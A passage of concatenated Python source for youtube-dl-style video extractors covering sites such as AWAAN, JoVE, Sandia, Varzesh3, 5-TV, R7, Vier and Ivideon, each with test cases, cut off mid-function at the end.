            chapter_number, chapter_title = self._extract_chapter_and_title(chapter.get('title'))
            chapter_id = chapter.get('@identifier')
            for item in chapter.get('item', []):
                item_id = item.get('@identifier')
                if not item_id:
                    continue
                metadata = item.get('resource', {}).get('metadata') or {}
                if metadata.get('learningresourcetype') != 'Video':
                    continue
                _, title = self._extract_chapter_and_title(item.get('title'))
                duration = parse_duration(metadata.get('duration'))
                description = metadata.get('description')
                entries.append({
                    '_type': 'url_transparent',
                    'url': smuggle_url(
                        'mva:%s:%s' % (course_id, item_id), {'base_url': base_url}),
                    'title': title,
                    'description': description,
                    'duration': duration,
                    'chapter': chapter_title,
                    'chapter_number': chapter_number,
                    'chapter_id': chapter_id,
                })

        title = organization.get('title') or manifest.get('metadata', {}).get('title')

        return self.playlist_result(entries, course_id, title)






# coding: utf-8
from __future__ import unicode_literals

import re
import base64

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlencode,
    compat_str,
)
from ..utils import (
    int_or_none,
    parse_iso8601,
    smuggle_url,
    unsmuggle_url,
    urlencode_postdata,
)


class AWAANIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?(?:awaan|dcndigital)\.ae/(?:#/)?show/(?P<show_id>\d+)/[^/]+(?:/(?P<video_id>\d+)/(?P<season_id>\d+))?'

    def _real_extract(self, url):
        show_id, video_id, season_id = re.match(self._VALID_URL, url).groups()
        if video_id and int(video_id) > 0:
            return self.url_result(
                'http://awaan.ae/media/%s' % video_id, 'AWAANVideo')
        elif season_id and int(season_id) > 0:
            return self.url_result(smuggle_url(
                'http://awaan.ae/program/season/%s' % season_id,
                {'show_id': show_id}), 'AWAANSeason')
        else:
            return self.url_result(
                'http://awaan.ae/program/%s' % show_id, 'AWAANSeason')


class AWAANBaseIE(InfoExtractor):
    def _parse_video_data(self, video_data, video_id, is_live):
        title = video_data.get('title_en') or video_data['title_ar']
        img = video_data.get('img')

        return {
            'id': video_id,
            'title': self._live_title(title) if is_live else title,
            'description': video_data.get('description_en') or video_data.get('description_ar'),
            'thumbnail': 'http://admin.mangomolo.com/analytics/%s' % img if img else None,
            'duration': int_or_none(video_data.get('duration')),
            'timestamp': parse_iso8601(video_data.get('create_time'), ' '),
            'is_live': is_live,
        }

    def _extract_video_formats(self, webpage, video_id, m3u8_entry_protocol):
        formats = []
        format_url_base = 'http' + self._html_search_regex(
            [
                r'file\s*:\s*"https?(://[^"]+)/playlist.m3u8',
                r'<a[^>]+href="rtsp(://[^"]+)"'
            ], webpage, 'format url')
        formats.extend(self._extract_mpd_formats(
            format_url_base + '/manifest.mpd',
            video_id, mpd_id='dash', fatal=False))
        formats.extend(self._extract_m3u8_formats(
            format_url_base + '/playlist.m3u8', video_id, 'mp4',
            m3u8_entry_protocol, m3u8_id='hls', fatal=False))
        formats.extend(self._extract_f4m_formats(
            format_url_base + '/manifest.f4m',
            video_id, f4m_id='hds', fatal=False))
        self._sort_formats(formats)
        return formats


class AWAANVideoIE(AWAANBaseIE):
    IE_NAME = 'awaan:video'
    _VALID_URL = r'https?://(?:www\.)?(?:awaan|dcndigital)\.ae/(?:#/)?(?:video(?:/[^/]+)?|media|catchup/[^/]+/[^/]+)/(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://www.dcndigital.ae/#/video/%D8%B1%D8%AD%D9%84%D8%A9-%D8%A7%D9%84%D8%B9%D9%85%D8%B1-%D8%A7%D9%84%D8%AD%D9%84%D9%82%D8%A9-1/17375',
        'md5': '5f61c33bfc7794315c671a62d43116aa',
        'info_dict':
        {
            'id': '17375',
            'ext': 'mp4',
            'title': 'رحلة العمر : الحلقة 1',
            'description': 'md5:0156e935d870acb8ef0a66d24070c6d6',
            'duration': 2041,
            'timestamp': 1227504126,
            'upload_date': '20081124',
        },
    }, {
        'url': 'http://awaan.ae/video/26723981/%D8%AF%D8%A7%D8%B1-%D8%A7%D9%84%D8%B3%D9%84%D8%A7%D9%85:-%D8%AE%D9%8A%D8%B1-%D8%AF%D9%88%D8%B1-%D8%A7%D9%84%D8%A3%D9%86%D8%B5%D8%A7%D8%B1',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video_data = self._download_json(
            'http://admin.mangomolo.com/analytics/index.php/plus/video?id=%s' % video_id,
            video_id, headers={'Origin': 'http://awaan.ae'})
        info = self._parse_video_data(video_data, video_id, False)

        webpage = self._download_webpage(
            'http://admin.mangomolo.com/analytics/index.php/customers/embed/video?' +
            compat_urllib_parse_urlencode({
                'id': video_data['id'],
                'user_id': video_data['user_id'],
                'signature': video_data['signature'],
                'countries': 'Q0M=',
                'filter': 'DENY',
            }), video_id)
        info['formats'] = self._extract_video_formats(webpage, video_id, 'm3u8_native')
        return info


class AWAANLiveIE(AWAANBaseIE):
    IE_NAME = 'awaan:live'
    _VALID_URL = r'https?://(?:www\.)?(?:awaan|dcndigital)\.ae/(?:#/)?live/(?P<id>\d+)'
    _TEST = {
        'url': 'http://awaan.ae/live/6/dubai-tv',
        'info_dict': {
            'id': '6',
            'ext': 'mp4',
            'title': 're:Dubai Al Oula [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
            'upload_date': '20150107',
            'timestamp': 1420588800,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }

    def _real_extract(self, url):
        channel_id = self._match_id(url)

        channel_data = self._download_json(
            'http://admin.mangomolo.com/analytics/index.php/plus/getchanneldetails?channel_id=%s' % channel_id,
            channel_id, headers={'Origin': 'http://awaan.ae'})
        info = self._parse_video_data(channel_data, channel_id, True)

        webpage = self._download_webpage(
            'http://admin.mangomolo.com/analytics/index.php/customers/embed/index?' +
            compat_urllib_parse_urlencode({
                'id': base64.b64encode(channel_data['user_id'].encode()).decode(),
                'channelid': base64.b64encode(channel_data['id'].encode()).decode(),
                'signature': channel_data['signature'],
                'countries': 'Q0M=',
                'filter': 'DENY',
            }), channel_id)
        info['formats'] = self._extract_video_formats(webpage, channel_id, 'm3u8')
        return info


class AWAANSeasonIE(InfoExtractor):
    IE_NAME = 'awaan:season'
    _VALID_URL = r'https?://(?:www\.)?(?:awaan|dcndigital)\.ae/(?:#/)?program/(?:(?P<show_id>\d+)|season/(?P<season_id>\d+))'
    _TEST = {
        'url': 'http://dcndigital.ae/#/program/205024/%D9%85%D8%AD%D8%A7%D8%B6%D8%B1%D8%A7%D8%AA-%D8%A7%D9%84%D8%B4%D9%8A%D8%AE-%D8%A7%D9%84%D8%B4%D8%B9%D8%B1%D8%A7%D9%88%D9%8A',
        'info_dict':
        {
            'id': '7910',
            'title': 'محاضرات الشيخ الشعراوي',
        },
        'playlist_mincount': 27,
    }

    def _real_extract(self, url):
        url, smuggled_data = unsmuggle_url(url, {})
        show_id, season_id = re.match(self._VALID_URL, url).groups()

        data = {}
        if season_id:
            data['season'] = season_id
            show_id = smuggled_data.get('show_id')
            if show_id is None:
                season = self._download_json(
                    'http://admin.mangomolo.com/analytics/index.php/plus/season_info?id=%s' % season_id,
                    season_id, headers={'Origin': 'http://awaan.ae'})
                show_id = season['id']
        data['show_id'] = show_id
        show = self._download_json(
            'http://admin.mangomolo.com/analytics/index.php/plus/show',
            show_id, data=urlencode_postdata(data), headers={
                'Origin': 'http://awaan.ae',
                'Content-Type': 'application/x-www-form-urlencoded'
            })
        if not season_id:
            season_id = show['default_season']
        for season in show['seasons']:
            if season['id'] == season_id:
                title = season.get('title_en') or season['title_ar']

                entries = []
                for video in show['videos']:
                    video_id = compat_str(video['id'])
                    entries.append(self.url_result(
                        'http://awaan.ae/media/%s' % video_id, 'AWAANVideo', video_id))

                return self.playlist_result(entries, season_id, title)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    unified_strdate
)


class JoveIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?jove\.com/video/(?P<id>[0-9]+)'
    _CHAPTERS_URL = 'http://www.jove.com/video-chapters?videoid={video_id:}'
    _TESTS = [
        {
            'url': 'http://www.jove.com/video/2744/electrode-positioning-montage-transcranial-direct-current',
            'md5': '93723888d82dbd6ba8b3d7d0cd65dd2b',
            'info_dict': {
                'id': '2744',
                'ext': 'mp4',
                'title': 'Electrode Positioning and Montage in Transcranial Direct Current Stimulation',
                'description': 'md5:015dd4509649c0908bc27f049e0262c6',
                'thumbnail': 're:^https?://.*\.png$',
                'upload_date': '20110523',
            }
        },
        {
            'url': 'http://www.jove.com/video/51796/culturing-caenorhabditis-elegans-axenic-liquid-media-creation',
            'md5': '914aeb356f416811d911996434811beb',
            'info_dict': {
                'id': '51796',
                'ext': 'mp4',
                'title': 'Culturing Caenorhabditis elegans in Axenic Liquid Media and Creation of Transgenic Worms by Microparticle Bombardment',
                'description': 'md5:35ff029261900583970c4023b70f1dc9',
                'thumbnail': 're:^https?://.*\.png$',
                'upload_date': '20140802',
            }
        },

    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        webpage = self._download_webpage(url, video_id)

        chapters_id = self._html_search_regex(
            r'/video-chapters\?videoid=([0-9]+)', webpage, 'chapters id')

        chapters_xml = self._download_xml(
            self._CHAPTERS_URL.format(video_id=chapters_id),
            video_id, note='Downloading chapters XML',
            errnote='Failed to download chapters XML')

        video_url = chapters_xml.attrib.get('video')
        if not video_url:
            raise ExtractorError('Failed to get the video URL')

        title = self._html_search_meta('citation_title', webpage, 'title')
        thumbnail = self._og_search_thumbnail(webpage)
        description = self._html_search_regex(
            r'<div id="section_body_summary"><p class="jove_content">(.+?)</p>',
            webpage, 'description', fatal=False)
        publish_date = unified_strdate(self._html_search_meta(
            'citation_publication_date', webpage, 'publish date', fatal=False))
        comment_count = self._html_search_regex(
            r'<meta name="num_comments" content="(\d+) Comments?"',
            webpage, 'comment count', fatal=False)

        return {
            'id': video_id,
            'title': title,
            'url': video_url,
            'thumbnail': thumbnail,
            'description': description,
            'upload_date': publish_date,
            'comment_count': comment_count,
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from .common import InfoExtractor


class RUHDIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?ruhd\.ru/play\.php\?vid=(?P<id>\d+)'
    _TEST = {
        'url': 'http://www.ruhd.ru/play.php?vid=207',
        'md5': 'd1a9ec4edf8598e3fbd92bb16072ba83',
        'info_dict': {
            'id': '207',
            'ext': 'divx',
            'title': 'КОТ бааааам',
            'description': 'классный кот)',
            'thumbnail': 're:^http://.*\.jpg$',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        video_url = self._html_search_regex(
            r'<param name="src" value="([^"]+)"', webpage, 'video url')
        title = self._html_search_regex(
            r'<title>([^<]+)&nbsp;&nbsp; RUHD.ru - Видео Высокого качества №1 в России!</title>',
            webpage, 'title')
        description = self._html_search_regex(
            r'(?s)<div id="longdesc">(.+?)<span id="showlink">',
            webpage, 'description', fatal=False)
        thumbnail = self._html_search_regex(
            r'<param name="previewImage" value="([^"]+)"',
            webpage, 'thumbnail', fatal=False)
        if thumbnail:
            thumbnail = 'http://www.ruhd.ru' + thumbnail

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

import json

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    mimetype2ext,
)


class SandiaIE(InfoExtractor):
    IE_DESC = 'Sandia National Laboratories'
    _VALID_URL = r'https?://digitalops\.sandia\.gov/Mediasite/Play/(?P<id>[0-9a-f]+)'
    _TEST = {
        'url': 'http://digitalops.sandia.gov/Mediasite/Play/24aace4429fc450fb5b38cdbf424a66e1d',
        'md5': '9422edc9b9a60151727e4b6d8bef393d',
        'info_dict': {
            'id': '24aace4429fc450fb5b38cdbf424a66e1d',
            'ext': 'mp4',
            'title': 'Xyce Software Training - Section 1',
            'description': 're:(?s)SAND Number: SAND 2013-7800.{200,}',
            'upload_date': '20120409',
            'timestamp': 1333983600,
            'duration': 7794,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        presentation_data = self._download_json(
            'http://digitalops.sandia.gov/Mediasite/PlayerService/PlayerService.svc/json/GetPlayerOptions',
            video_id, data=json.dumps({
                'getPlayerOptionsRequest': {
                    'ResourceId': video_id,
                    'QueryString': '',
                }
            }), headers={
                'Content-Type': 'application/json; charset=utf-8',
            })['d']['Presentation']

        title = presentation_data['Title']

        formats = []
        for stream in presentation_data.get('Streams', []):
            for fd in stream.get('VideoUrls', []):
                formats.append({
                    'format_id': fd['MediaType'],
                    'format_note': fd['MimeType'].partition('/')[2],
                    'ext': mimetype2ext(fd['MimeType']),
                    'url': fd['Location'],
                    'protocol': 'f4m' if fd['MimeType'] == 'video/x-mp4-fragmented' else None,
                })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': presentation_data.get('Description'),
            'formats': formats,
            'timestamp': int_or_none(presentation_data.get('UnixTime'), 1000),
            'duration': int_or_none(presentation_data.get('Duration'), 1000),
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlparse,
    compat_parse_qs,
)
from ..utils import (
    clean_html,
    remove_start,
)


class Varzesh3IE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?video\.varzesh3\.com/(?:[^/]+/)+(?P<id>[^/]+)/?'
    _TESTS = [{
        'url': 'http://video.varzesh3.com/germany/bundesliga/5-%D9%88%D8%A7%DA%A9%D9%86%D8%B4-%D8%A8%D8%B1%D8%AA%D8%B1-%D8%AF%D8%B1%D9%88%D8%A7%D8%B2%D9%87%E2%80%8C%D8%A8%D8%A7%D9%86%D8%A7%D9%86%D8%9B%D9%87%D9%81%D8%AA%D9%87-26-%D8%A8%D9%88%D9%86%D8%AF%D8%B3/',
        'md5': '2a933874cb7dce4366075281eb49e855',
        'info_dict': {
            'id': '76337',
            'ext': 'mp4',
            'title': '۵ واکنش برتر دروازه‌بانان؛هفته ۲۶ بوندسلیگا',
            'description': 'فصل ۲۰۱۵-۲۰۱۴',
            'thumbnail': 're:^https?://.*\.jpg$',
        },
        'skip': 'HTTP 404 Error',
    }, {
        'url': 'http://video.varzesh3.com/video/112785/%D8%AF%D9%84%D9%87-%D8%B9%D9%84%DB%8C%D8%9B-%D8%B3%D8%AA%D8%A7%D8%B1%D9%87-%D9%86%D9%88%D8%B8%D9%87%D9%88%D8%B1-%D9%84%DB%8C%DA%AF-%D8%A8%D8%B1%D8%AA%D8%B1-%D8%AC%D8%B2%DB%8C%D8%B1%D9%87',
        'md5': '841b7cd3afbc76e61708d94e53a4a4e7',
        'info_dict': {
            'id': '112785',
            'ext': 'mp4',
            'title': 'دله علی؛ ستاره نوظهور لیگ برتر جزیره',
            'description': 'فوتبال 120',
        },
        'expected_warnings': ['description'],
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        video_url = self._search_regex(
            r'<source[^>]+src="([^"]+)"', webpage, 'video url')

        title = remove_start(self._html_search_regex(
            r'<title>([^<]+)</title>', webpage, 'title'), 'ویدیو ورزش 3 | ')

        description = self._html_search_regex(
            r'(?s)<div class="matn">(.+?)</div>',
            webpage, 'description', default=None)
        if description is None:
            description = clean_html(self._html_search_meta('description', webpage))

        thumbnail = self._og_search_thumbnail(webpage, default=None)
        if thumbnail is None:
            fb_sharer_url = self._search_regex(
                r'<a[^>]+href="(https?://www\.facebook\.com/sharer/sharer\.php?[^"]+)"',
                webpage, 'facebook sharer URL', fatal=False)
            sharer_params = compat_parse_qs(compat_urllib_parse_urlparse(fb_sharer_url).query)
            thumbnail = sharer_params.get('p[images][0]', [None])[0]

        video_id = self._search_regex(
            r"<link[^>]+rel='(?:canonical|shortlink)'[^>]+href='/\?p=([^']+)'",
            webpage, display_id, default=None)
        if video_id is None:
            video_id = self._search_regex(
                'var\s+VideoId\s*=\s*(\d+);', webpage, 'video id',
                default=display_id)

        return {
            'url': video_url,
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
        }






from __future__ import unicode_literals

try:
    from .lazy_extractors import *
    from .lazy_extractors import _ALL_CLASSES
    _LAZY_LOADER = True
except ImportError:
    _LAZY_LOADER = False
    from .extractors import *

    _ALL_CLASSES = [
        klass
        for name, klass in globals().items()
        if name.endswith('IE') and name != 'GenericIE'
    ]
    _ALL_CLASSES.append(GenericIE)


def gen_extractor_classes():
    """ Return a list of supported extractors.
    The order does matter; the first extractor matched is the one handling the URL.
    """
    return _ALL_CLASSES


def gen_extractors():
    """ Return a list of an instance of every supported extractor.
    The order does matter; the first extractor matched is the one handling the URL.
    """
    return [klass() for klass in gen_extractor_classes()]


def list_extractors(age_limit):
    """
    Return a list of extractors that are suitable for the given age,
    sorted by extractor ID.
    """

    return sorted(
        filter(lambda ie: ie.is_suitable(age_limit), gen_extractors()),
        key=lambda ie: ie.IE_NAME.lower())


def get_info_extractor(ie_name):
    """Returns the info extractor class with the given ie_name"""
    return globals()[ie_name + 'IE']






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    clean_html,
    determine_ext,
    js_to_json,
)


class FKTVIE(InfoExtractor):
    IE_NAME = 'fernsehkritik.tv'
    _VALID_URL = r'https?://(?:www\.)?fernsehkritik\.tv/folge-(?P<id>[0-9]+)(?:/.*)?'

    _TEST = {
        'url': 'http://fernsehkritik.tv/folge-1',
        'md5': '21f0b0c99bce7d5b524eb1b17b1c6d79',
        'info_dict': {
            'id': '1',
            'ext': 'mp4',
            'title': 'Folge 1 vom 10. April 2007',
            'thumbnail': 're:^https?://.*\.jpg$',
        },
    }

    def _real_extract(self, url):
        episode = self._match_id(url)

        webpage = self._download_webpage(
            'http://fernsehkritik.tv/folge-%s/play' % episode, episode)
        title = clean_html(self._html_search_regex(
            '<h3>([^<]+)</h3>', webpage, 'title'))
        thumbnail = self._search_regex(r'POSTER\s*=\s*"([^"]+)', webpage, 'thumbnail', fatal=False)
        sources = self._parse_json(self._search_regex(r'(?s)MEDIA\s*=\s*(\[.+?\]);', webpage, 'media'), episode, js_to_json)

        formats = []
        for source in sources:
            furl = source.get('src')
            if furl:
                formats.append({
                    'url': furl,
                    'format_id': determine_ext(furl),
                })
        self._sort_formats(formats)

        return {
            'id': episode,
            'title': title,
            'formats': formats,
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import int_or_none


class FiveTVIE(InfoExtractor):
    _VALID_URL = r'''(?x)
                    http://
                        (?:www\.)?5-tv\.ru/
                        (?:
                            (?:[^/]+/)+(?P<id>\d+)|
                            (?P<path>[^/?#]+)(?:[/?#])?
                        )
                    '''

    _TESTS = [{
        'url': 'http://5-tv.ru/news/96814/',
        'md5': 'bbff554ad415ecf5416a2f48c22d9283',
        'info_dict': {
            'id': '96814',
            'ext': 'mp4',
            'title': 'Россияне выбрали имя для общенациональной платежной системы',
            'description': 'md5:a8aa13e2b7ad36789e9f77a74b6de660',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 180,
        },
    }, {
        'url': 'http://5-tv.ru/video/1021729/',
        'info_dict': {
            'id': '1021729',
            'ext': 'mp4',
            'title': '3D принтер',
            'description': 'md5:d76c736d29ef7ec5c0cf7d7c65ffcb41',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 180,
        },
    }, {
        'url': 'http://www.5-tv.ru/glavnoe/#itemDetails',
        'info_dict': {
            'id': 'glavnoe',
            'ext': 'mp4',
            'title': 'Итоги недели с 8 по 14 июня 2015 года',
            'thumbnail': 're:^https?://.*\.jpg$',
        },
    }, {
        'url': 'http://www.5-tv.ru/glavnoe/broadcasts/508645/',
        'only_matching': True,
    }, {
        'url': 'http://5-tv.ru/films/1507502/',
        'only_matching': True,
    }, {
        'url': 'http://5-tv.ru/programs/broadcast/508713/',
        'only_matching': True,
    }, {
        'url': 'http://5-tv.ru/angel/',
        'only_matching': True,
    }, {
        'url': 'http://www.5-tv.ru/schedule/?iframe=true&width=900&height=450',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id') or mobj.group('path')

        webpage = self._download_webpage(url, video_id)

        video_url = self._search_regex(
            r'<a[^>]+?href="([^"]+)"[^>]+?class="videoplayer"',
            webpage, 'video url')

        title = self._og_search_title(webpage, default=None) or self._search_regex(
            r'<title>([^<]+)</title>', webpage, 'title')
        duration = int_or_none(self._og_search_property(
            'video:duration', webpage, 'duration', default=None))

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'description': self._og_search_description(webpage, default=None),
            'thumbnail': self._og_search_thumbnail(webpage, default=None),
            'duration': duration,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import int_or_none


class R7IE(InfoExtractor):
    _VALID_URL = r'''(?x)
                        https?://
                        (?:
                            (?:[a-zA-Z]+)\.r7\.com(?:/[^/]+)+/idmedia/|
                            noticias\.r7\.com(?:/[^/]+)+/[^/]+-|
                            player\.r7\.com/video/i/
                        )
                        (?P<id>[\da-f]{24})
                    '''
    _TESTS = [{
        'url': 'http://videos.r7.com/policiais-humilham-suspeito-a-beira-da-morte-morre-com-dignidade-/idmedia/54e7050b0cf2ff57e0279389.html',
        'md5': '403c4e393617e8e8ddc748978ee8efde',
        'info_dict': {
            'id': '54e7050b0cf2ff57e0279389',
            'ext': 'mp4',
            'title': 'Policiais humilham suspeito à beira da morte: "Morre com dignidade"',
            'description': 'md5:01812008664be76a6479aa58ec865b72',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 98,
            'like_count': int,
            'view_count': int,
        },
    }, {
        'url': 'http://esportes.r7.com/videos/cigano-manda-recado-aos-fas/idmedia/4e176727b51a048ee6646a1b.html',
        'only_matching': True,
    }, {
        'url': 'http://noticias.r7.com/record-news/video/representante-do-instituto-sou-da-paz-fala-sobre-fim-do-estatuto-do-desarmamento-5480fc580cf2285b117f438d/',
        'only_matching': True,
    }, {
        'url': 'http://player.r7.com/video/i/54e7050b0cf2ff57e0279389?play=true&video=http://vsh.r7.com/54e7050b0cf2ff57e0279389/ER7_RE_BG_MORTE_JOVENS_570kbps_2015-02-2009f17818-cc82-4c8f-86dc-89a66934e633-ATOS_copy.mp4&linkCallback=http://videos.r7.com/policiais-humilham-suspeito-a-beira-da-morte-morre-com-dignidade-/idmedia/54e7050b0cf2ff57e0279389.html&thumbnail=http://vtb.r7.com/ER7_RE_BG_MORTE_JOVENS_570kbps_2015-02-2009f17818-cc82-4c8f-86dc-89a66934e633-thumb.jpg&idCategory=192&share=true&layout=full&full=true',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video = self._download_json(
            'http://player-api.r7.com/video/i/%s' % video_id, video_id)

        title = video['title']

        formats = []
        media_url_hls = video.get('media_url_hls')
        if media_url_hls:
            formats.extend(self._extract_m3u8_formats(
                media_url_hls, video_id, 'mp4', entry_protocol='m3u8_native',
                m3u8_id='hls', fatal=False))
        media_url = video.get('media_url')
        if media_url:
            f = {
                'url': media_url,
                'format_id': 'http',
            }
            # m3u8 format always matches the http format, let's copy metadata from
            # one to another
            m3u8_formats = list(filter(
                lambda f: f.get('vcodec') != 'none' and f.get('resolution') != 'multiple',
                formats))
            if len(m3u8_formats) == 1:
                f_copy = m3u8_formats[0].copy()
                f_copy.update(f)
                f_copy['protocol'] = 'http'
                f = f_copy
            formats.append(f)
        self._sort_formats(formats)

        description = video.get('description')
        thumbnail = video.get('thumb')
        duration = int_or_none(video.get('media_duration'))
        like_count = int_or_none(video.get('likes'))
        view_count = int_or_none(video.get('views'))

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'like_count': like_count,
            'view_count': view_count,
            'formats': formats,
        }


class R7ArticleIE(InfoExtractor):
    _VALID_URL = r'https?://(?:[a-zA-Z]+)\.r7\.com/(?:[^/]+/)+[^/?#&]+-(?P<id>\d+)'
    _TEST = {
        'url': 'http://tv.r7.com/record-play/balanco-geral/videos/policiais-humilham-suspeito-a-beira-da-morte-morre-com-dignidade-16102015',
        'only_matching': True,
    }

    @classmethod
    def suitable(cls, url):
        return False if R7IE.suitable(url) else super(R7ArticleIE, cls).suitable(url)

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        video_id = self._search_regex(
            r'<div[^>]+(?:id=["\']player-|class=["\']embed["\'][^>]+id=["\'])([\da-f]{24})',
            webpage, 'video id')

        return self.url_result('http://player.r7.com/video/i/%s' % video_id, R7IE.ie_key())






# coding: utf-8
from __future__ import unicode_literals

import re
import itertools

from .common import InfoExtractor


class VierIE(InfoExtractor):
    IE_NAME = 'vier'
    _VALID_URL = r'https?://(?:www\.)?vier\.be/(?:[^/]+/videos/(?P<display_id>[^/]+)(?:/(?P<id>\d+))?|video/v3/embed/(?P<embed_id>\d+))'
    _TESTS = [{
        'url': 'http://www.vier.be/planb/videos/het-wordt-warm-de-moestuin/16129',
        'info_dict': {
            'id': '16129',
            'display_id': 'het-wordt-warm-de-moestuin',
            'ext': 'mp4',
            'title': 'Het wordt warm in De Moestuin',
            'description': 'De vele uren werk eisen hun tol. Wim droomt van assistentie...',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        'url': 'http://www.vier.be/planb/videos/mieren-herders-van-de-bladluizen',
        'only_matching': True,
    }, {
        'url': 'http://www.vier.be/video/v3/embed/16129',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        embed_id = mobj.group('embed_id')
        display_id = mobj.group('display_id') or embed_id

        webpage = self._download_webpage(url, display_id)

        video_id = self._search_regex(
            [r'data-nid="(\d+)"', r'"nid"\s*:\s*"(\d+)"'],
            webpage, 'video id')
        application = self._search_regex(
            [r'data-application="([^"]+)"', r'"application"\s*:\s*"([^"]+)"'],
            webpage, 'application', default='vier_vod')
        filename = self._search_regex(
            [r'data-filename="([^"]+)"', r'"filename"\s*:\s*"([^"]+)"'],
            webpage, 'filename')

        playlist_url = 'http://vod.streamcloud.be/%s/mp4:_definst_/%s.mp4/playlist.m3u8' % (application, filename)
        formats = self._extract_m3u8_formats(playlist_url, display_id, 'mp4')
        self._sort_formats(formats)

        title = self._og_search_title(webpage, default=display_id)
        description = self._og_search_description(webpage, default=None)
        thumbnail = self._og_search_thumbnail(webpage, default=None)

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'formats': formats,
        }


class VierVideosIE(InfoExtractor):
    IE_NAME = 'vier:videos'
    _VALID_URL = r'https?://(?:www\.)?vier\.be/(?P<program>[^/]+)/videos(?:\?.*\bpage=(?P<page>\d+)|$)'
    _TESTS = [{
        'url': 'http://www.vier.be/demoestuin/videos',
        'info_dict': {
            'id': 'demoestuin',
        },
        'playlist_mincount': 153,
    }, {
        'url': 'http://www.vier.be/demoestuin/videos?page=6',
        'info_dict': {
            'id': 'demoestuin-page6',
        },
        'playlist_mincount': 20,
    }, {
        'url': 'http://www.vier.be/demoestuin/videos?page=7',
        'info_dict': {
            'id': 'demoestuin-page7',
        },
        'playlist_mincount': 13,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        program = mobj.group('program')

        page_id = mobj.group('page')
        if page_id:
            page_id = int(page_id)
            start_page = page_id
            playlist_id = '%s-page%d' % (program, page_id)
        else:
            start_page = 0
            playlist_id = program

        entries = []
        for current_page_id in itertools.count(start_page):
            current_page = self._download_webpage(
                'http://www.vier.be/%s/videos?page=%d' % (program, current_page_id),
                program,
                'Downloading page %d' % (current_page_id + 1))
            page_entries = [
                self.url_result('http://www.vier.be' + video_url, 'Vier')
                for video_url in re.findall(
                    r'<h3><a href="(/[^/]+/videos/[^/]+(?:/\d+)?)">', current_page)]
            entries.extend(page_entries)
            if page_id or '>Meer<' not in current_page:
                break

        return self.playlist_result(entries, playlist_id)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlencode,
    compat_urlparse,
)
from ..utils import qualities


class IvideonIE(InfoExtractor):
    IE_NAME = 'ivideon'
    IE_DESC = 'Ivideon TV'
    _VALID_URL = r'https?://(?:www\.)?ivideon\.com/tv/(?:[^/]+/)*camera/(?P<id>\d+-[\da-f]+)/(?P<camera_id>\d+)'
    _TESTS = [{
        'url': 'https://www.ivideon.com/tv/camera/100-916ca13b5c4ad9f564266424a026386d/0/',
        'info_dict': {
            'id': '100-916ca13b5c4ad9f564266424a026386d',
            'ext': 'flv',
            'title': 're:^Касса [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
            'description': 'Основное предназначение - запись действий кассиров. Плюс общий вид.',
            'is_live': True,
        },
        'params': {
            'skip_download': True,
        }
    }, {
        'url': 'https://www.ivideon.com/tv/camera/100-c4ee4cb9ede885cf62dfbe93d7b53783/589824/?lang=ru',
        'only_matching': True,
    }, {
        'url': 'https://www.ivideon.com/tv/map/22.917923/-31.816406/16/camera/100-e7bc16c7d4b5bbd633fd5350b66dfa9a/0',
        'only_matching': True,
    }]

    _QUALITIES = ('low', 'mid', 'hi')

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        server_id, camera_id = mobj.group('id'), mobj.group('camera_id')
        camera_name, description = None, None
        camera_url = compat_urlparse.urljoin(
            url, '/tv/camera/%s/%s/' % (server_id, camera_id))

        webpage = self._download_webpage(camera_url, server_id, fatal=False)
        if webpage:
            config_string = self._search_regex(
                r'var\s+config\s*=\s*({.+?});', webpage, 'config', default=None)
            if config_string:
